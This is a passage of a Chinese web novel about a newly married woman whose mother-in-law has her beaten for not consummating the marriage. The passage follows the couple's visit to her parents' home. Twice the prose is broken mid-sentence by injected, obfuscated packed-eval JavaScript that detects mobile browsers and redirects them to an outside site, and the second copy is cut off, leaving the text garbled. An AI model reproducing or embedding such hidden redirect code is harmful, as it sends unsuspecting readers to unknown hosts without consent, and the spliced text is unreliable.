说罢,李傲雪拖着沉重的步伐,缓缓走出书房。此时,外面夜色深沉,冷风袭来,她不禁打了个寒颤。抬头望向夜空,繁星点点,可她却觉得自己的未来一片黑暗,不知该何去何从。 李傲雪回到房间,满心的忧虑如影随形,躺在床上辗转反侧,一夜未眠。第二日清晨,伺候的丫鬟进来伺候洗漱,见床铺丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993166|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未乱,心中便明白了几分,赶忙跑去告知了肖母。 肖母听闻后,脸色瞬间阴沉下来。她匆匆来到肖父的书房,将此事告知肖父,而后说道:“老爷,你带儿子今天去买礼品,明日让他陪傲雪回门。最好晚一些回来,我就不信,这一路上,他俩还培养不出感情。” 肖父放下手中的书,无奈地叹了口气,说道:“夫人,感情之事怎能如此强求?晨儿和傲雪刚成婚不久,还是让他们顺其自然吧。” 肖母却不依不饶,说道:“老爷,你不懂。这肖家的香火传承可不能耽搁。晨儿这孩子,也不知道在想些什么,成亲这么久了,还不与傲雪圆房。我这也是没办法,才出此下策。” 肖父见肖母态度坚决,知道再劝也无用,只得点头说道:“好吧好吧,我今天就带晨儿去买礼品。但成不成,可就看他们自己的造化了。” 肖母这才稍稍满意,说道:“老爷,你可得多劝劝晨儿,让他明白自己的责任。” 肖父应了一声,随后便差人去叫肖晨。不多时,肖晨来到书房,问道:“爹,您找我何事?” 肖父将肖母的意思告诉了肖晨,说道:“晨儿,明日你便陪傲雪回门。今日随我去购置些礼品,莫要失了礼数。” 肖晨心中虽有些不情愿,但也不好违抗父亲的命令,只得点头说道:“是,爹。” 随后,肖父和肖晨便出门去购置礼品。一路上,肖父看着心事重重的肖晨,忍不住劝说道:“晨儿,傲雪这孩子知书达理,模样也俊俏,你就别再执拗了。夫妻之间,还是要相互扶持,好好过日子。” 肖晨微微皱眉,说道:“爹,我知道您和娘都是为我好。只是,感情之事,我实在勉强不来。” 肖父拍了拍肖晨的肩膀,说道:“晨儿,感情是可以慢慢培养的。你多和傲雪相处,说不定会发现她的好。” 肖晨沉默不语,心中却在思索着该如何面对明日的回门之行,以及与李傲雪愈发复杂的关系。 肖母看着肖父和肖晨出门远去,脸上满是不悦与决绝。她一挥手,冷冷吩咐身旁的下人:“去,把少夫人给我带过来。” 不多时,李傲雪被几个丫鬟连拉带拽地来到肖母面前。她一脸惊恐,不知发生何事,赶忙屈膝行礼:“娘,您这是……” 肖母坐在主位上,双眼怒视着李傲雪,猛地一拍桌子,震得茶杯都哐当作响:“你还敢问!昨晚到底怎么回事?为何没能与晨儿同房?” 李傲雪心中一紧,“扑通”一声跪下,泪水瞬间涌出:“娘,儿媳真的尽力了,可少爷他……他心意已决,不愿回房。儿媳实在没有办法呀。” 肖母冷哼一声,满脸的不屑与愤怒:“哼,还敢狡辩!分明是你办事不力。咱们肖家的规矩,容不得你这般懈怠。来人,家法伺候!” 话音刚落,两个粗壮的婆子走上前来,手中拿着竹板。李傲雪吓得浑身发抖,连连磕头哀求:“娘,求您饶了儿媳这一次,儿媳以后一定加倍努力,求您别用家法。” 肖母却丝毫没有心软,大声喝道:“打!给我重重地打,让她长长记性!”婆子们不敢迟疑,举起竹板,一下又一下地打在李傲雪的身上。李傲雪疼得脸色苍白,冷汗直冒,却只能咬着牙强忍着,嘴里不断求饶。 竹板声和李傲雪的哭声交织在房间里,肖母看着这一幕,脸上没有丝毫怜悯,心中只想着一定要让李傲雪明白,必须尽快完成与肖晨圆房这件事,否则在肖家,她的日子绝不会好过。 李傲雪在竹板的击打之下,疼得几近昏厥,后背早已血肉模糊,衣衫也被血水浸湿,紧紧贴在身上。她虚弱地瘫倒在地,连求饶的力气都所剩无几。 肖母见差不多了,这才冷冷开口:“停。”随后吩咐道:“去拿药来给她上,处理干净些。” 下人赶忙取来伤药,小心翼翼地给李傲雪处理伤口。每触碰一下,李傲雪便疼得身子一颤,忍不住发出微弱的呻吟。 肖母看着这场景,语气冰冷地说:“我给你这点体面,此时可不能让我儿子知道。你最好心里有数,明日回门,想办法让晨儿对你上心,尽快圆房。若还是办不成,下次可就没这么简单了。” 李傲雪虚弱地点点头,声音微弱得如同蚊蝇:“娘……儿媳明白……”泪水混着汗水,顺着脸颊滑落,滴在满是血迹的地面上。她满心悲戚与恐惧,不知明日回门,等待自己的又将是什么样的艰难处境,更不知该如何跨越肖晨心中那道无形的屏障。 肖晨跟着肖父在城中各大店铺穿梭,看着一件件精美绝伦的丝绸被挑选出来,那些细腻的纹理、绚丽的色彩,无一不让人惊叹。随后又购置了不少年代久远、工艺精湛的古董,每一件都散发着独特的历史韵味。至于补品,也是挑选了人参、鹿茸等珍贵之物,堆起来好似小山一般。 肖晨这一路可谓大开眼界,心中暗自思忖:“这些东西,要是拿回现代,估计变卖之后真够吃一辈子了。在现代,这般品质上乘的丝绸、珍稀的古董和顶级的补品,那可都是价值连城。” 肖父见肖晨看得目不转睛,以为他上心此事,满意地点点头:“晨儿,这些礼品可都是精心挑选的,回门可不能失了礼数,让傲雪娘家人挑出毛病。” 肖晨回过神来,赶忙应道:“爹说得是,如此丰厚的礼品,定能让傲雪家感受到咱们肖家的诚意。”然而,他心里却又忍不住发愁,不知明日回门面对李傲雪,又会是怎样一番情形。毕竟昨晚的事,让他自觉对李傲雪有些愧疚,可又实在不知该如何改变现状。 肖晨和肖父在城中一家颇有名气的酒楼用过午饭,又悠然地喝了会儿茶,稍作休憩后,便吩咐下人先将购置的那一大堆丝绸、古董和补品运回府中。 此时,肖晨主动开口,向肖父询问起回门的一些细节:“爹,明日回门,除了送上这些礼品,还有什么特别要注意的地方吗?” 肖父微微一愣,随即露出欣慰的笑容,他放下手中的茶杯,认真说道:“晨儿,回门是大事,到了傲雪娘家,要谦逊有礼,不可摆架子。见到长辈,需恭敬请安,言行举止都要彰显咱们肖家的教养。” 肖晨点点头,示意自己在认真聆听。肖父接着说:“再者,回门当日,你要多陪傲雪与她家人叙旧,不可自顾自地冷落了旁人。还有,饮酒要适度,切不可贪杯误事。” 肖晨一边听,一边在心中默默记着。肖父看他如此认真,又补充道:“虽说回门主要是礼节性的走动,但也是你和傲雪增进感情的好机会。你呀,要好好把握,莫要再像之前那般冷淡。” 肖晨听到此处,心中泛起一丝无奈,但还是应道:“爹,我知道了。”他明白父亲话中的深意,只是想到与李傲雪之间的隔阂,又有些发愁。不过,为了不让父亲担忧,也为了遵循礼数,他决定明日回门时,尽量表现得得体周全。 6. 心疼女儿的李母 肖父带着肖晨,踏上了对自家产业的巡视之路。他们首先来到了繁华街市中的店铺。只见一间间店铺鳞次栉比,招牌醒目,来往顾客络绎不绝。绸缎庄内,五颜六色的绸缎在阳光下闪烁着光泽,伙计们热情地招呼着客人;米铺里,堆积如山的谷物散发着质朴的香气,店员正熟练地给顾客称米。肖父边走边介绍:“这些店铺,都是咱们家多年的心血,每一家都承载着肖家的信誉。” 接着,他们来到钱庄。踏入钱庄,一股庄严肃穆的气息扑面而来。厚实的大门,严密的安保,账房先生们正忙碌地核算着账目。肖父拍了拍肖晨的肩膀说:“钱庄乃是家族财富流转的枢纽,信誉和管理至关重要。” 随后,他们又去查看了房产。一处处宅院错落有致,有的古朴典雅,有的宏伟气派。肖父说道:“这些房产,或用于出租,或作为家族产业的根基,都有着不可忽视的价值。” 最后,肖父领着肖晨来到广袤的良田边。极目远眺,千亩良田麦浪滚滚,一片生机勃勃。肖父语重心长地说:“土地是根本,这些良田每年产出的粮食,不仅是家族财富的重要来源,更是咱们立足的根本。” 说完这一切,肖父凝视着肖晨,目光中满是期许:“晨儿,这些产业,将来都要交给你打理。你要用心经营,让肖家的基业蒸蒸日上,可不能有丝毫懈怠。” 肖晨看着眼前庞大的家业,心中既震撼又深感责任重大,他郑重地点点头:“爹,您放心,儿子定会全力以赴,不负您的期望。”然而,在这份决心之下,他也深知前方道路布满挑战,尤其是在自己尚未完全准备好接手这一切之时,内心难免泛起一丝忧虑。 父子俩漫步在街上,肖晨突然面露期待,开口道:“爹,我又不想这么早回去。我想去玩玩。”肖父看着儿子,无奈地笑了笑,叮嘱道:“可不能太久,记得回来吃晚饭。” 这时,阿成赶忙凑上前,恭敬问道:“少爷,我们去哪?”肖晨思索片刻,看向阿成:“这城中有什么地方好玩?” 阿成眼睛一亮,兴致勃勃地介绍起来:“少爷,要说好玩的地儿,那清风楼可不错,那儿有不少文人雅士吟诗作对,热闹得很。还有集贤馆,能听评书、看杂耍,定能让您开怀。要是您想逛逛自然风光,城外的翠屏山景色宜人,漫山花草,清泉潺潺。” 肖晨略加思索,觉得听评书看杂耍倒也有趣,便说道:“那就去集贤馆吧。”阿成点头称是,在前头带路,两人朝着集贤馆的方向走去。一路上,街边小贩的叫卖声此起彼伏,行人来来往往,热闹非凡。 不多时,肖晨和阿成便来到了集贤馆。馆内早已是人声鼎沸,座无虚席。肖晨刚踏入,便感受到一股热闹欢快的氛围扑面而来。 阿成眼疾手快,迅速在角落里寻到两个空位,拉着肖晨坐下。台上,一位身着长衫的说书先生正口若悬河地讲述着一段精彩的侠义故事,绘声绘色的描述引得台下观众时而哄堂大笑,时而紧张屏息。肖晨也被深深吸引,听得津津有味,暂时忘却了家中的种种琐事。 说书结束后,紧接着是杂耍表演。只见一位艺人手持长鞭,鞭梢精准地击中远处桌上摆放的细瓷碗,而碗却分毫未损,引得众人齐声喝彩。随后又有艺人表演顶缸,那巨大的水缸在他头顶旋转自如,令人惊叹不已。 肖晨看得目不暇接,不时跟着周围人一起鼓掌叫好。就在他沉浸在这欢乐氛围中时,不经意间瞥见不远处有个熟悉的身影。仔细一看,竟是李傲雪的贴身丫鬟。他心中一惊,暗自思忖:她怎么会在这里?难道李傲雪也来了? 正疑惑间,那丫鬟似乎也察觉到了肖晨的目光,转过头来,与肖晨对视后,略显惊慌,赶忙转身匆匆离去。肖晨心中顿时充满了疑问,也无心再看表演,起身对阿成说道:“阿成,咱们跟上那个丫鬟,看看究竟怎么回事。”阿成虽有些诧异,但还是立刻跟了上去。 两人出了集贤馆,一路跟着丫鬟,只见她脚步匆匆,拐进了一条偏僻的小巷。肖晨和阿成加快脚步,跟到巷口时,却发现丫鬟已不见了踪影。 肖晨和阿成在小巷里四处寻找,却始终不见丫鬟的身影。肖晨满心狐疑,可无奈之下,没了游玩的心思,只能带着阿成怏怏地回了家。 此时,李傲雪正俯身趴在床上,身上的伤痛加上心中的委屈,让她疲惫不堪,不知不觉睡了过去。肖晨一回府,便差人去叫李傲雪的贴身丫鬟。 丫鬟匆匆赶来,神色有些慌张。肖晨盯着她,冷冷问道:“你今日在集贤馆做什么?为何见了我就跑?”丫鬟心中一紧,眼珠一转,急忙撒谎道:“少爷,是少夫人放心不下您,让奴婢去瞧瞧您去了哪里,好回来告诉她,让她安心。奴婢见您正看得入神,便没敢打扰,想着悄悄离开,回去给少夫人复命呢。” 肖晨听了,心中却并不相信这番说辞,反而对李傲雪越发不悦,觉得她不该如此暗中窥探自己行踪。他冷哼一声,什么也没说,转身便往书房走去,决定索性住在书房,眼不见心不烦。 待看到儿子的身影消失在拐角处,肖母才从内室缓缓走了出来。她看着丫鬟,脸色阴沉地问道:“怎么样?方才少爷问你什么了?你怎么回答的?”丫鬟赶忙将方才对肖晨说的话又复述了一遍。肖母听后,微微皱眉,思索片刻后说道:“罢了,你先下去吧,以后做事机灵点,别露出马脚,坏了我的计划。”丫鬟连忙应是,小心翼翼地退了下去。 肖母望着肖晨离去的方向,心中暗自担忧。她深知儿子对李傲雪的态度冷淡,如此下去,想要两人早日圆房、延续肖家香火怕是愈发困难。可她又实在想不出更好的办法,只能在心中默默祈祷,希望明日回门之行,能让两人的关系有所转机。 第二天清晨,晨曦透过窗户纸,洒在肖家的庭院中。肖母早早起身,径直来到肖晨的住处,催促道:“晨儿,去看看回门的礼品都准备好了没,可千万别落下什么,别到时候让傲雪娘家挑出毛病。” 肖晨应了一声,便出门去查看礼品。趁着这个间隙,肖母快步来到李傲雪的房间。李傲雪刚起身,正在丫鬟的伺候下梳妆。 肖母走进房内,随手关上门,从袖中掏出一个小瓷瓶,递给李傲雪,低声说道:“把这药喝了,喝了伤口才好得快。记住,千万别让我儿子察觉到。今天回门,你自己心里得有数,知道该怎么做。要是再办砸了,就别怪我不客气。” 李傲雪心中一阵恐惧,看着那小瓷瓶,手微微颤抖。她深知肖母的手段,不敢违抗,只得接过瓷瓶,将药一饮而尽。药味苦涩,顺着喉咙流下,却仿佛苦到了心底。 她强忍着泪水,低声说道:“娘,儿媳明白。儿媳一定不会让您失望。”肖母看着她,神色稍缓,说道:“你明白就好。这也是为了你和晨儿好,为了肖家的将来。”说罢,转身离开了房间。 李傲雪望着肖母离去的背影,心中五味杂陈。她知道,今日回门,对自己来说是一场艰难的考验。不知等待自己的会是什么,只能暗暗祈祷,希望一切能顺利度过,也盼望着肖晨对自己的态度能有所改变。 肖晨仔细检查了一遍回门礼品,确认无一遗漏,一切都安排妥当。这时,李傲雪从房中走出,她刻意精心打扮了一番,身着一袭淡粉色的锦袍,头戴珠翠,显得端庄秀丽,只是脸色略显苍白,透着几分憔悴。 一家人围坐在桌前吃早饭,气氛有些沉闷。肖母不时看向肖晨和李傲雪,眼神中带着期许与督促。李傲雪安静地吃着饭,偶尔偷偷抬眼看向肖晨,却只见他面色冷淡,只顾低头吃饭,似乎刻意回避与她的眼神交汇。 饭后,众人准备出发。肖晨为了避免与李傲雪过多接触,径直走向马厩,牵出自己的骏马,翻身骑上。他转头对李傲雪说道:“你坐轿子吧。” 李傲雪心中一阵失落,但也只能默默点头,在丫鬟的搀扶下,登上了早已备好的轿子。 队伍缓缓出发,肖晨骑着马走在前方,身姿挺拔,马蹄扬起些许尘土。轿子跟在后面,随着道路的起伏微微晃动。李傲雪坐在轿内,透过轿帘的缝隙看着前方肖晨的背影,心中满是无奈与惆怅。 不多时,一行人便抵达李府门口。肖晨利落翻身下马,轿夫稳稳地将轿子落地。李傲雪在丫鬟搀扶下,缓慢地走出轿子,因后背伤痛,每一步都显得艰难,确实需要人扶着。 李府二老听闻下人通报女儿回门,喜出望外,急忙出门迎接。李母见女儿这般模样,心中虽有疑惑,但只当是新婚不久,女儿还不太习惯,并未多想,满脸笑意地迎上前去,拉住李傲雪的手,关切道:“我的儿,一路上累坏了吧。” 李傲雪强颜欢笑,轻声说道:“娘,女儿不累。”这时,肖晨走上前来,恭敬地向李父李母行礼:“岳父、岳母,小婿有礼了。”李父笑着扶起肖晨,说道:“贤婿不必多礼,快请进府。” 众人一同走进李府。一路上,李母紧紧拉着李傲雪的手,嘘寒问暖。李傲雪心里既感动又难过,感动于母亲的关怀,难过自己在肖家的遭遇不能言说。而肖晨则不动声色地观察着李府的布局,尽量表现得礼貌得体。 进入正厅,肖晨指挥下人将带来的丝绸、古董、补品等礼品一一摆开。李父李母看着如此丰厚的礼品,不禁赞叹肖家的诚意。大家分宾主落座后,丫鬟们端上茶水点心,一场回门的寒暄就此展开,只是李傲雪因伤痛,只能强撑着应对。 李父一脸关切地看向肖晨,目光中满是对女儿婚后生活的担忧,开口问道:“贤婿啊,我这女儿在你那儿,你可还满意?” 肖晨微微欠身,脸上带着恰到好处的微笑,言辞诚恳地说道:“岳父大人放心,傲雪很好。我们平日里相处得也颇为融洽。多亏岳父母教养有方,把这么好的女儿嫁给我,让我能有幸与她结为连理。” 李父听了,脸上露出欣慰的笑容,点头说道:“如此便好,如此便好啊。傲雪自小被我们娇惯着长大,若有什么做得不好的地方,还望贤婿多担待。” 肖晨赶忙说道:“岳父言重了,傲雪知书达理,温柔贤淑,把家中事务打理得井井有条,对我更是关怀备至。倒是我,有时忙于事务,可能对她有所疏忽。” 一旁的李傲雪听着肖晨这番话,心中五味杂陈。她知道肖晨不过是在父母面前维持表面的和谐,可即便如此,心中还是涌起一丝复杂的情绪。一方面感激肖晨没有在父母面前说出两人关系冷淡的实情,另一方面又为这份虚假的和睦感到悲哀。 李母看着女儿女婿这般“和谐”的场景,心中欢喜不已,笑着说道:“你们夫妻二人能相互体谅,那是再好不过了。如今成婚了,就该和和美美地过日子,早日给我们添个外孙。”说罢,眼神满含期待地看向李傲雪和肖晨。 李傲雪脸上泛起一抹红晕,羞涩地低下头,肖晨则笑着应道:“岳母放心,小婿明白。”然而,在这看似融洽的氛围之下,肖晨和李傲雪各自怀揣着心事,不知未来的日子究竟会走向何方。 李父笑着对李母说道:“这傲雪回来了,夫人你就陪女儿到房间里说说话,我们爷俩在这儿谈谈。”李母点头称是,便拉着李傲雪的手,往房间走去。 一进房间,李母轻轻拉过女儿,让她坐在床边,看着女儿苍白的脸色,心疼不已,关切地问道:“你这是怎么了,脸色这般苍白?是不是哪里不舒服?” 李傲雪心中一酸,差点落下泪来,但想到肖母的警告,还是强忍着摇了摇头,说道:“娘,我没事,可能就是一路上有些劳累,休息休息就好了。” 李母显然不太相信,伸手摸了摸李傲雪的额头,又仔细端详她的面容,说道:“你别瞒娘,是不是在肖家受委屈了?告诉娘,娘给你做主。” 李傲雪眼眶泛红,心中纠结万分。她很想把在肖家遭受的一切,包括肖母的逼迫、被执行家法的痛苦,都倾诉给母亲听,可又害怕说出来会给父母添麻烦,更担心肖母知道后变本加厉。犹豫再三,她还是挤出一丝笑容,说道:“娘,真的没事,您别瞎想。肖家上下对我都很好,肖晨对我也不错。” 李母看着女儿,眼中满是狐疑,但见女儿如此坚持,也不好再多追问,只得说道:“你要是有什么难处,千万别自己憋着,一定要告诉娘。娘就你这么一个女儿,心疼还来不及呢。” 李傲雪再也忍不住,扑进母亲怀里,泪水夺眶而出,却不敢发出声音,只是无声地抽泣着。李母轻轻拍着她的背,安慰道:“好了好了,不哭了。要是累了,就躺会儿,娘在这儿陪着你。” 李傲雪被母亲轻轻拍着背,因后背伤口未愈,忍不住发出一声痛苦的闷哼。李母顿时觉得不对劲,心中一紧,急忙轻轻拉开女儿的衣服查看。这一看,她倒吸一口凉气,只见女儿后背布满伤痕,有的地方虽已上药,但仍能看出伤得极重,血肉模糊的痕迹触目惊心。 李母眼眶瞬间红了,声音颤抖地问:“这是怎么回事?谁下的这般狠手?”李傲雪知道再也瞒不住,泪水决堤,将在肖家所遭受的一切,包括肖母如何逼迫她与肖晨圆房,因未达成便动用家法的事,一五一十地说了出来。 李母听完,心疼得心如刀绞,忍不住落下泪来。可她虽是满心愤怒与心疼女儿,却也只能无奈地长叹一口气,说道:“儿啊,这都是咱们做女人的命。虽说这世道对女子不公,男人即便做得不好,做错了事,最后也往往得由我们女人担着。在婆家,你还是要多忍耐些,莫要与长辈起冲突,把日子过好才是最重要的。” 李傲雪满心悲戚,她不明白为何女子就要承受这般不公,可母亲的话又让她无从反驳。她哭着说道:“娘,难道女儿就只能这样一直忍下去吗?”李母紧紧抱住女儿,说道:“娘也心疼你,可又能有什么办法呢?你若不忍,只会让自己更难过。你且试着与晨儿好好相处,说不定日子久了,他能对你上心,肖家也会对你好些。” 李傲雪靠在母亲怀里,心中一片茫然。她深知母亲的无奈,也明白自己在这封建礼教的束缚下,似乎别无选择。未来的日子,仿佛是一片看不到尽头的黑暗,而她只能在这片黑暗中,摸索着艰难前行。 李母轻轻捧着女儿的脸,满眼疼惜却又带着几分无奈与严肃,继续说道:“儿啊,你自小研习三纲五常,应当知晓女子在这世上的本分。娘虽说心疼你遭此苦难,可这世道就是如此。你若伺候不好丈夫,引得公婆不满意,旁人定会指指点点,说我们没把女儿教好。到那时,咱们一家人都难做人呐。” 李傲雪泪流满面,满心委屈却又无力反驳。她明白母亲所言皆是现实,在这礼教森严的社会,女子的命运似乎从出生便已被框定。 李母看着女儿痛苦的模样,自己也忍不住哽咽起来,但还是强打起精神安慰道:“娘知道你苦,可你再忍忍。平日里,多对晨儿体贴些,顺着他的心意。只要能让他回心转意,和你好好过日子,肖家公婆自然也会对你改观。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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母女俩手挽手来到前厅,李母脸上挂着温和的笑容,看向肖晨说道:“贤婿啊,你们小夫妻难得回来,在一起多说说话才是要紧事。我和你岳父就不打扰你们啦。” 说完,她又转头看向李傲雪,叮嘱道:“傲雪,你带晨儿到你以前的房间去看看,好好陪陪他。” 李傲雪微微颔首,轻声应道:“娘,我知道了。”随后,她抬眸看向肖晨,眼中带着一丝拘谨与试探,说道:“少爷,你……要不要随我去看看?” 肖晨礼貌性地点点头,应道:“好。”两人一前一后,朝着李傲雪的闺房走去。一路上,气氛有些沉闷,李傲雪满心忐忑,不知该与肖晨说些什么。肖晨则神色平静,只是偶尔打量着周围的布置,似乎在刻意保持着一种恰到好处的距离。 来到房门前,李傲雪轻轻推开门,率先走了进去。房间里的布置依旧如她离开时那般,温馨而雅致,只是多了一层淡淡的灰尘,像是在诉说着主人离开后的寂寞。肖晨跟在她身后踏入房间,目光随意地扫过屋内的陈设,一幅字画、一张绣榻,都似乎在展示着李傲雪曾经的生活点滴。 李傲雪有些局促地站在一旁,绞着手指,半晌才开口说道:“这就是我以前住的地方,没怎么变。”肖晨微微点头,回应道:“看得出来,布置得很用心。” 李傲雪微微垂首,声音轻柔,带着几分小心翼翼:“少爷,我生性喜好简单,所以这房间布置并未过于奢华,还请你不要嫌弃。”她偷偷抬眸,看向肖晨,眼神中满是不安与期许。 肖晨神色淡淡,目光在房间里随意流转,语气平淡地回应:“我又不在这里住。这是你的房间,我自是管不到的。”话一出口,空气中似乎弥漫开一丝尴尬的气息。 李傲雪心中一涩,本就低落的情绪愈发沉重。她强颜欢笑,试图缓和这冰冷的氛围,说道:“少爷说得是,只是想着你难得来,怕招待不周。”说着,她走到窗前,轻轻推开窗户,让阳光透进来,试图驱散房间里那股压抑的沉闷。 肖晨察觉到自己言语似乎过于冷淡,微微皱眉,心中有些许愧疚,但长久以来的疏离让他不知如何弥补。他清了清嗓子,说道:“房间挺好的,简洁干净,倒也舒心。”听到这话,李傲雪眼中闪过一丝惊喜,忙说道:“少爷喜欢便好。” 两人一时陷入沉默,只听得窗外偶尔传来几声鸟鸣。李傲雪绞着衣角,鼓足勇气打破寂静:“少爷,这房里的许多物件,都承载着我儿时的回忆。像这绣品,是我亲手所绣,虽针法稚嫩,却也花费了不少心思。”说着,她拿起一幅绣着花鸟的手帕,递到肖晨面前。 肖晨接过手帕,看着那细密的针脚,心中泛起一丝异样。他想起成亲以来,对李傲雪确实太过冷漠,可长久养成的态度,一时难以改变。他轻轻放下手帕,说道:“看得出你心灵手巧。” 李傲雪见肖晨有了回应,眼中燃起一丝希望,继续说道:“少爷,以后咱们在肖家,也不知能否……”话未说完,她又咽了回去,脸颊微红,不知是因羞涩还是紧张。 肖晨自然明白她未出口的话,心中有些纠结。一方面,他习惯了独来独往,对夫妻相处之事有些抗拒;另一方面,李傲雪这般小心翼翼的模样,又让他心生不忍。他斟酌着字句说道:“以后的事,且走着瞧吧。在肖家,你若有难处,可与我讲。” 李傲雪听闻此言,眼中泪光闪烁,轻轻点头:“多谢少爷体谅。我定会恪守本分,不让少爷为难。” 这时,门外传来丫鬟的声音:“小姐,姑爷,老爷夫人请二位去花园赏花,说是新添了不少品种。” 肖晨如释重负,说道:“既如此,我们便去吧。”李傲雪应了一声,与肖晨一同走出房间。去往花园的路上,两人虽依旧保持着距离,但氛围却较之前缓和了些许。 来到花园,李父李母正站在一丛盛开的牡丹前交谈。见他们二人来了,李母笑着招手:“快来快来,看看这牡丹,开得多艳。” 众人漫步在花园小径,欣赏着各类花卉。李父与肖晨谈论起一些花的品种和栽培之道,李傲雪与母亲跟在身后。李母悄悄捏了捏女儿的手,低声问道:“和晨儿聊得如何?”李傲雪微微点头,轻声说:“娘,比之前好多了。”李母欣慰地笑了,说道:“那就好,慢慢来,日子还长着呢。” 李父微笑着看向肖晨,目光满是和蔼,指着娇艳欲滴的花卉说道:“贤婿,一会儿让人把这些花朵抱到府里去。傲雪在家中若能侍弄花草,也能有点事情做,省得无聊。” 肖晨点头称是,回应道:“岳父所言极是,有了这些花,府里的花园定能更添几分漂亮。傲雪向来心灵手巧,想必会把花儿照料得很好。” 李父满意地笑了笑,接着关切问道:“贤婿,你平日里喜欢吃什么?我好吩咐厨房准备午饭,今儿个定要让你吃得尽兴。” 肖晨礼貌地笑了笑,说道:“岳父不必如此客气,我吃什么都行,简单家常便好,您和岳母费心了。” 李父摆摆手,爽朗笑道:“这是什么话,你难得来,自是要好好招待。家常便饭也得是你爱吃的才好。”说着,他转头对身旁的管家说道:“去问问厨房,今儿准备的菜色里可有姑爷爱吃的,若没有,赶紧添几道。”管家领命匆匆而去。 此时,李傲雪和李母也漫步过来。李傲雪听到父亲和肖晨的对话,心中泛起一丝暖意。她轻轻看了肖晨一眼,说道:“少爷,您尽管说喜欢吃的,父亲定会让厨房精心准备。” 肖晨微微颔首,说道:“那就有劳岳父岳母了。其实我偏爱清淡些的菜肴,像清蒸鲈鱼、素炒时蔬之类的,都很合口味。” 李父听了,连连点头:“好好,清淡的菜健康。我这就去叮嘱厨房。”说完,他快步朝着厨房方向走去,一心要为女婿准备一顿丰盛满意的午饭。 花园里,李傲雪与肖晨并肩走着,气氛较之前更加融洽。李母看着二人,眼中满是欣慰,默默祈祷着女儿女婿往后的日子能一直这般和和美美。 7. 碰你一下我都嫌弃 不多时,管家前来告知午饭已经备好。众人移步至饭厅,只见桌上摆满了色香味俱佳的菜肴,清蒸鲈鱼摆在中央,鱼身淋着鲜美的酱汁,葱丝与红椒丝相间摆放,散发着诱人的香气;几盘素炒时蔬色泽鲜亮,清爽宜人。此外,还有几道李府的拿手好菜,满满当当一桌,尽显诚意。 大家纷纷入座,李父端起酒杯,笑着说道:“贤婿,今日你们回门,咱们一家人难得聚在一起,来,干一杯!”众人纷纷举杯,一饮而尽。 用餐间,李母不住地给肖晨和李傲雪夹菜,嘴里念叨着:“傲雪,你也多吃点,看你瘦的。晨儿,这是我们家的招牌菜,你尝尝合不合口味。” 肖晨品尝着菜肴,赞不绝口:“岳母的手艺真好,这些菜都十分美味,尤其是这清蒸鲈鱼,火候恰到好处,鲜嫩无比。”李母听了,笑得合不拢嘴:“贤婿喜欢就好,以后常回来,我经常做给你吃。” 李傲雪看着肖晨与父母相谈甚欢,心中满是喜悦。她鼓起勇气,主动为肖晨盛了一碗汤,轻声说道:“少爷,喝点汤吧。”肖晨微微一愣,随即接过汤碗,说道:“多谢。” 饭桌上,欢声笑语不断,一家人其乐融融。饭后,众人来到客厅喝茶聊天。李父与肖晨谈起生意上的一些事,肖晨见解独到,分析得头头是道,李父不住点头,对这个女婿愈发满意。 李傲雪和李母则坐在一旁,小声说着贴心话。李母看着女儿脸上久违的笑容,悄声问道:“傲雪,今儿看你们俩相处得不错,是不是关系好些了?”李傲雪脸颊微红,轻轻点头:“嗯,娘,今天少爷对我比以往温和了许多。”李母欣慰地拍了拍女儿的手:“那就好,娘就盼着你们夫妻和睦。你平日里多用心,好好经营这段婚姻。” 不知不觉,日头渐西,肖晨和李傲雪起身告辞。李父李母将二人送至门口,千叮咛万嘱咐:“有空就多回来看看。”肖晨和李傲雪应下,上了马车缓缓离去。 马车内,李傲雪望着窗外逐渐远去的娘家,心中五味杂陈。这一天,有与父母相聚的喜悦,也有与肖晨关系缓和的欣慰。她暗暗发誓,回到肖家后,一定要更加努力,维护好这段婚姻。而肖晨看着李傲雪,心中也泛起一丝涟漪,自己对她是不是太冷了。 肖父肖母瞧见二人归来,肖母赶忙迎上前,笑说道:“你们可算回来了,一路上奔波,累坏了吧。”随即扭头吩咐丫鬟,“快带少爷去洗澡,让他好好放松放松。” 待肖晨随着丫鬟离开后,肖母脸上的笑容瞬间淡去,目光直直看向李傲雪,压低声音问道:“今天你回门,没让我儿子发现你的伤吧?” 李傲雪心中一紧,忙不迭摇头,轻声回道:“娘,没有。我……我一直小心遮掩着,没让少爷瞧见。” 肖母微微眯起眼睛,审视着李傲雪的神情,似要从她脸上找出一丝破绽。片刻后,她微微点头,语气稍缓,却仍带着几分警告意味:“没让他发现就好。你记住,在肖家,有些事能说,有些事不能说。你若还想安稳过日子,就别耍什么花样。” 李傲雪心中满是委屈与恐惧,眼眶泛红,却只能强忍着泪水,低头应道:“娘,儿媳明白,儿媳不敢。” 肖母看着李傲雪这般模样,心中并无太多怜悯,只是冷冷说道:“明白就好。回房歇着吧,晚上记得好好伺候少爷。”说罢,转身离去。 李傲雪望着肖母离去的背影,满心悲戚。她深知,在这肖家,自己的处境如履薄冰,未来的日子,不知还要承受多少委屈与压力。然而,为了不让父母担心,更为了自己那渺茫的未来,她只能默默承受,期盼着有朝一日,一切能有所改变。 肖父看着肖母离去的方向,微微皱眉,等肖母回来后,忍不住说道:“你这么对待儿媳,是不是有点过了?她一个刚进门的姑娘,你别总是这么苛刻。” 肖母不以为然,哼了一声说道:“这媳妇你不治治她,她就敢爬到儿子的头上。现在不立规矩,以后还得了?我这个做婆婆的,心疼儿子怎么了?难道眼睁睁看着儿子被媳妇拿捏?” 肖父无奈地叹了口气,说道:“哪有你说的这般严重。夫妻之间讲究的是相互尊重,你这般逼迫,反而可能适得其反,让他们夫妻离心。” 